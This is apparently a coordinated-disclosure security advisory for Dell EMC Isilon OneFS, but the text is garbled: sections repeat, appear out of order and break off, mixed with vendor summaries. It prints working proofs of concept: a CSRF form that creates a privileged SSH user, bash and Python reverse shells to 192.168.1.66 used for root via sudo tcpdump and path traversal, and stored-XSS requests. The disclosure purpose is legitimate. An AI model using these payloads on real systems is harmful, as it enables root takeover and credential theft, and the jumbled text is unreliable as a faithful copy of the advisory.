Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Dell EMC sent a schedule for fixing six of the reported vulnerabilities, with specific dates for every product's version. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious compadmin may potentially exploit this vulnerability to execute arbitrary code with root privileges. Dell EMC Isilon OneFS Contains a path traversal vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS is an operating system that runs on it. isi_phone_home tool is one of the phone notification tools. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. CVSS v3 Base Score: 5.9 (AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L) Cross-Site Request Forgery Vulnerability (CVE-2018-1213) Dell EMC Isilon OneFS is affected by a cross-site request forgery vulnerability. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . **Vendor Information, Solutions and Workarounds** Dell EMC provided a link to the Download for Isilon OneFS page which contains the patches: . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, and version 7.1.1.11 is affected by a cross-site scripting vulnerability in the NDMP Page within the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . 